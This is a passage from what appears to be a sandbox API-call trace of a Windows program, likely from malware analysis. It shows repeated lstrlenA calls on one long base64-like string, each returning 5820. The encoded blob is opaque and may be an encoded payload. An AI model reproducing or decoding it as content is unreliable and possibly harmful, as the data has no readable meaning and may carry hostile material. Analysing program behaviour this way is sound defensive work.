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") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA 